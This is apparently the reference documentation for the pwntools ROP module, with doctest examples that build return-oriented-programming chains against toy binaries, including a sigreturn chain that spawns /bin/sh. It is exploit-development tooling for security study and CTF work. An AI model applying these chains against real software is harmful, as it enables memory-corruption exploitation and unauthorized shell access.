pwnlib.rop.rop
— Return Oriented Programming¶
Return Oriented Programming
Manual ROP¶
The ROP tool can be used to build stacks pretty trivially. Let’s create a fake binary which has some symbols which might have been useful.
>>> context.clear(arch='i386')
>>> binary = ELF.from_assembly('add esp, 0x10; ret')
>>> binary.symbols = {'read': 0xdeadbeef, 'write': 0xdecafbad, 'exit': 0xfeedface}
Creating a ROP object which looks up symbols in the binary is pretty straightforward.
>>> rop = ROP(binary)
With the ROP object, you can manually add stack frames.
>>> rop.raw(0)
>>> rop.raw(unpack('abcd'))
>>> rop.raw(2)
Inspecting the ROP stack is easy, and laid out in an easy-to-read manner.
>>> print rop.dump()
0x0000: 0x0
0x0004: 0x64636261
0x0008: 0x2
The ROP module is also aware of how to make function calls with standard Linux ABIs.
>>> rop.call('read', [4,5,6])
>>> print rop.dump()
0x0000: 0x0
0x0004: 0x64636261
0x0008: 0x2
0x000c: 0xdeadbeef read(4, 5, 6)
0x0010: 'eaaa' <return address>
0x0014: 0x4 arg0
0x0018: 0x5 arg1
0x001c: 0x6 arg2
You can also use a shorthand to invoke calls. The stack is automatically adjusted for the next frame
>>> rop.write(7,8,9)
>>> rop.exit()
>>> print rop.dump()
0x0000: 0x0
0x0004: 0x64636261
0x0008: 0x2
0x000c: 0xdeadbeef read(4, 5, 6)
0x0010: 0x10000000 <adjust @0x24> add esp, 0x10; ret
0x0014: 0x4 arg0
0x0018: 0x5 arg1
0x001c: 0x6 arg2
0x0020: 'iaaa' <pad>
0x0024: 0xdecafbad write(7, 8, 9)
0x0028: 0x10000000 <adjust @0x3c> add esp, 0x10; ret
0x002c: 0x7 arg0
0x0030: 0x8 arg1
0x0034: 0x9 arg2
0x0038: 'oaaa' <pad>
0x003c: 0xfeedface exit()
ROP Example¶
Let’s assume we have a trivial binary that just reads some data onto the stack, and returns.
>>> context.clear(arch='i386')
>>> c = constants
>>> assembly = 'read:' + shellcraft.read(c.STDIN_FILENO, 'esp', 1024)
>>> assembly += 'ret\n'
Let’s provide some simple gadgets:
>>> assembly += 'add_esp: add esp, 0x10; ret\n'
And perhaps a nice “write” function.
>>> assembly += 'write: enter 0,0\n'
>>> assembly += ' mov ebx, [ebp+4+4]\n'
>>> assembly += ' mov ecx, [ebp+4+8]\n'
>>> assembly += ' mov edx, [ebp+4+12]\n'
>>> assembly += shellcraft.write('ebx', 'ecx', 'edx')
>>> assembly += ' leave\n'
>>> assembly += ' ret\n'
>>> assembly += 'flag: .asciz "The flag"\n'
And a way to exit cleanly.
>>> assembly += 'exit: ' + shellcraft.exit(0)
>>> binary = ELF.from_assembly(assembly)
Finally, let’s build our ROP stack
>>> rop = ROP(binary)
>>> rop.write(c.STDOUT_FILENO, binary.symbols['flag'], 8)
>>> rop.exit()
>>> print rop.dump()
0x0000: 0x10000012 write(STDOUT_FILENO, 0x10000026, 8)
0x0004: 0x1000000e <adjust @0x18> add esp, 0x10; ret
0x0008: 0x1 arg0
0x000c: 0x10000026 flag
0x0010: 0x8 arg2
0x0014: 'faaa' <pad>
0x0018: 0x1000002f exit()
The raw data from the ROP stack is available via str.
>>> raw_rop = str(rop)
>>> print enhex(raw_rop)
120000100e000010010000002600001008000000666161612f000010
Let’s try it out!
>>> p = process(binary.path)
>>> p.send(raw_rop)
>>> print p.recvall(timeout=5)
The flag
ROP Example (amd64)¶
For amd64 binaries, the registers are loaded off the stack. Pwntools can do basic reasoning about simple “pop; pop; add; ret”-style gadgets, and satisfy requirements so that everything “just works”.
>>> context.clear(arch='amd64')
>>> assembly = 'pop rdx; pop rdi; pop rsi; add rsp, 0x20; ret; target: ret'
>>> binary = ELF.from_assembly(assembly)
>>> rop = ROP(binary)
>>> rop.target(1,2,3)
>>> print rop.dump()
0x0000: 0x10000000 pop rdx; pop rdi; pop rsi; add rsp, 0x20; ret
0x0008: 0x3 [arg2] rdx = 3
0x0010: 0x1 [arg0] rdi = 1
0x0018: 0x2 [arg1] rsi = 2
0x0020: 'iaaajaaa' <pad 0x20>
0x0028: 'kaaalaaa' <pad 0x18>
0x0030: 'maaanaaa' <pad 0x10>
0x0038: 'oaaapaaa' <pad 0x8>
0x0040: 0x10000008 target
>>> rop.target(1)
>>> print rop.dump()
0x0000: 0x10000000 pop rdx; pop rdi; pop rsi; add rsp, 0x20; ret
0x0008: 0x3 [arg2] rdx = 3
0x0010: 0x1 [arg0] rdi = 1
0x0018: 0x2 [arg1] rsi = 2
0x0020: 'iaaajaaa' <pad 0x20>
0x0028: 'kaaalaaa' <pad 0x18>
0x0030: 'maaanaaa' <pad 0x10>
0x0038: 'oaaapaaa' <pad 0x8>
0x0040: 0x10000008 target
0x0048: 0x10000001 pop rdi; pop rsi; add rsp, 0x20; ret
0x0050: 0x1 [arg0] rdi = 1
0x0058: 'waaaxaaa' <pad rsi>
0x0060: 'yaaazaab' <pad 0x20>
0x0068: 'baabcaab' <pad 0x18>
0x0070: 'daabeaab' <pad 0x10>
0x0078: 'faabgaab' <pad 0x8>
0x0080: 0x10000008 target
Pwntools will also filter out some bad instructions while setting the registers ( e.g. syscall, int 0x80… )
>>> assembly = 'syscall; pop rdx; pop rsi; ret ; pop rdi ; int 0x80; pop rsi; pop rdx; ret ; pop rdi ; ret'
>>> binary = ELF.from_assembly(assembly)
>>> rop = ROP(binary)
>>> rop.call(0xdeadbeef, [1, 2, 3])
>>> print rop.dump()
0x0000: 0x1000000b pop rdi; ret
0x0008: 0x1 [arg0] rdi = 1
0x0010: 0x10000008 pop rsi; pop rdx; ret
0x0018: 0x2 [arg1] rsi = 2
0x0020: 0x3 [arg2] rdx = 3
0x0028: 0xdeadbeef
ROP + Sigreturn¶
In some cases, control of the desired register is not available. However, if you have control of the stack, EAX, and can find a int 0x80 gadget, you can use sigreturn.
Even better, this happens automagically.
Our example binary will read some data onto the stack, and not do anything else interesting.
>>> context.clear(arch='i386')
>>> c = constants
>>> assembly = 'read:' + shellcraft.read(c.STDIN_FILENO, 'esp', 1024)
>>> assembly += 'ret\n'
>>> assembly += 'pop eax; ret\n'
>>> assembly += 'int 0x80\n'
>>> assembly += 'binsh: .asciz "/bin/sh"'
>>> binary = ELF.from_assembly(assembly)
Let’s create a ROP object and invoke the call.
>>> context.kernel = 'amd64'
>>> rop = ROP(binary)
>>> binsh = binary.symbols['binsh']
>>> rop.execve(binsh, 0, 0)
That’s all there is to it.
>>> print rop.dump()
0x0000: 0x1000000e pop eax; ret
0x0004: 0x77 [arg0] eax = SYS_sigreturn
0x0008: 0x1000000b int 0x80
0x000c: 0x0 gs
0x0010: 0x0 fs
0x0014: 0x0 es
0x0018: 0x0 ds
0x001c: 0x0 edi
0x0020: 0x0 esi
0x0024: 0x0 ebp
0x0028: 0x0 esp
0x002c: 0x10000012 ebx = binsh
0x0030: 0x0 edx
0x0034: 0x0 ecx
0x0038: 0xb eax
0x003c: 0x0 trapno
0x0040: 0x0 err
0x0044: 0x1000000b int 0x80
0x0048: 0x23 cs
0x004c: 0x0 eflags
0x0050: 0x0 esp_at_signal
0x0054: 0x2b ss
0x0058: 0x0 fpstate
Let’s try it out!
>>> p = process(binary.path)
>>> p.send(str(rop))
>>> time.sleep(1)
>>> p.sendline('echo hello; exit')
>>> p.recvline()
'hello\n'
-
class
pwnlib.rop.rop.
ROP
(elfs, base=None, badchars='', **kwargs)[source]¶ Class which simplifies the generation of ROP-chains.
Example:
elf = ELF('ropasaurusrex') rop = ROP(elf) rop.read(0, elf.bss(0x80)) rop.dump() # ['0x0000: 0x80482fc (read)', # '0x0004: 0xdeadbeef', # '0x0008: 0x0', # '0x000c: 0x80496a8'] str(rop) # '\xfc\x82\x04\x08\xef\xbe\xad\xde\x00\x00\x00\x00\xa8\x96\x04\x08'
>>> context.clear(arch = "i386", kernel = 'amd64') >>> assembly = 'int 0x80; ret; add esp, 0x10; ret; pop eax; ret' >>> e = ELF.from_assembly(assembly) >>> e.symbols['funcname'] = e.address + 0x1234 >>> r = ROP(e) >>> r.funcname(1, 2) >>> r.funcname(3) >>> r.execve(4, 5, 6) >>> print r.dump() 0x0000: 0x10001234 funcname(1, 2) 0x0004: 0x10000003 <adjust @0x18> add esp, 0x10; ret 0x0008: 0x1 arg0 0x000c: 0x2 arg1 0x0010: 'eaaa' <pad> 0x0014: 'faaa' <pad> 0x0018: 0x10001234 funcname(3) 0x001c: 0x10000007 <adjust @0x24> pop eax; ret 0x0020: 0x3 arg0 0x0024: 0x10000007 pop eax; ret 0x0028: 0x77 [arg0] eax = SYS_sigreturn 0x002c: 0x10000000 int 0x80 0x0030: 0x0 gs 0x0034: 0x0 fs 0x0038: 0x0 es 0x003c: 0x0 ds 0x0040: 0x0 edi 0x0044: 0x0 esi 0x0048: 0x0 ebp 0x004c: 0x0 esp 0x0050: 0x4 ebx 0x0054: 0x6 edx 0x0058: 0x5 ecx 0x005c: 0xb eax 0x0060: 0x0 trapno 0x0064: 0x0 err 0x0068: 0x10000000 int 0x80 0x006c: 0x23 cs 0x0070: 0x0 eflags 0x0074: 0x0 esp_at_signal 0x0078: 0x2b ss 0x007c: 0x0 fpstate
>>> r = ROP(e, 0x8048000) >>> r.funcname(1, 2) >>> r.funcname(3) >>> r.execve(4, 5, 6) >>> print r.dump() 0x8048000: 0x10001234 funcname(1, 2) 0x8048004: 0x10000003 <adjust @0x8048018> add esp, 0x10; ret 0x8048008: 0x1 arg0 0x804800c: 0x2 arg1 0x8048010: 'eaaa' <pad> 0x8048014: 'faaa' <pad> 0x8048018: 0x10001234 funcname(3) 0x804801c: 0x10000007 <adjust @0x8048024> pop eax; ret 0x8048020: 0x3 arg0 0x8048024: 0x10000007 pop eax; ret 0x8048028: 0x77 [arg0] eax = SYS_sigreturn 0x804802c: 0x10000000 int 0x80 0x8048030: 0x0 gs 0x8048034: 0x0 fs 0x8048038: 0x0 es 0x804803c: 0x0 ds 0x8048040: 0x0 edi 0x8048044: 0x0 esi 0x8048048: 0x0 ebp 0x804804c: 0x8048080 esp 0x8048050: 0x4 ebx 0x8048054: 0x6 edx 0x8048058: 0x5 ecx 0x804805c: 0xb eax 0x8048060: 0x0 trapno 0x8048064: 0x0 err 0x8048068: 0x10000000 int 0x80 0x804806c: 0x23 cs 0x8048070: 0x0 eflags 0x8048074: 0x0 esp_at_signal 0x8048078: 0x2b ss 0x804807c: 0x0 fpstate
>>> elf = ELF.from_assembly('ret') >>> r = ROP(elf) >>> r.ret.address == 0x10000000 True >>> r = ROP(elf, badchars='\x00') >>> r.gadgets == {} True >>> r.ret is None True
Parameters: -
build
(base=None, description=None)[source]¶ Construct the ROP chain into a list of elements which can be passed to
flat()
.Parameters:
-
find_gadget
(instructions)[source]¶ Returns a gadget with the exact sequence of instructions specified in the
instructions
argument.
-
generatePadding
(offset, count)[source]¶ Generates padding to be inserted into the ROP stack.
>>> rop = ROP([]) >>> val = rop.generatePadding(5,15) >>> cyclic_find(val[:4]) 5 >>> len(val) 15 >>> rop.generatePadding(0,0) ''
-
raw
(value)[source]¶ Adds a raw integer or string to the ROP chain.
If your architecture requires aligned values, then make sure that any given string is aligned!
Parameters: data (int/str) – The raw value to put onto the rop chain. >>> rop = ROP([]) >>> rop.raw('AAAAAAAA') >>> rop.raw('BBBBBBBB') >>> rop.raw('CCCCCCCC') >>> print rop.dump() 0x0000: 'AAAA' 'AAAAAAAA' 0x0004: 'AAAA' 0x0008: 'BBBB' 'BBBBBBBB' 0x000c: 'BBBB' 0x0010: 'CCCC' 'CCCCCCCC' 0x0014: 'CCCC'
-
resolve
(resolvable)[source]¶ Resolves a symbol to an address
Parameters: resolvable (str,int) – Thing to convert into an address Returns: int containing address of ‘resolvable’, or None
-
search
(move=0, regs=None, order='size')[source]¶ Search for a gadget which matches the specified criteria.
Parameters: The search will try to minimize the number of bytes popped more than requested, the number of registers touched besides the requested and the address.
If
order == 'size'
, then gadgets are compared lexicographically by(total_moves, total_regs, addr)
, otherwise by(total_regs, total_moves, addr)
.Returns: A Gadget
object
-
search_iter
(move=None, regs=None)[source]¶ Iterate through all gadgets which move the stack pointer by at least
move
bytes, and which allow you to set all registers inregs
.
-
setRegisters
(registers)[source]¶ Returns an list of addresses/values which will set the specified register context.
Parameters: registers (dict) – Dictionary of {register name: value}
Returns: A list of tuples, ordering the stack. Each tuple is in the form of
(value, name)
wherevalue
is either a gadget address or literal value to go on the stack, andname
is either a string name or other item which can be “unresolved”.Note
This is basically an implementation of the Set Cover Problem, which is NP-hard. This means that we will take polynomial time N**2, where N is the number of gadgets. We can reduce runtime by discarding useless and inferior gadgets ahead of time.
-
unresolve
(value)[source]¶ Inverts ‘resolve’. Given an address, it attempts to find a symbol for it in the loaded ELF files. If none is found, it searches all known gadgets, and returns the disassembly
Parameters: value (int) – Address to look up Returns: String containing the symbol name for the address, disassembly for a gadget (if there’s one at that address), or an empty string.
-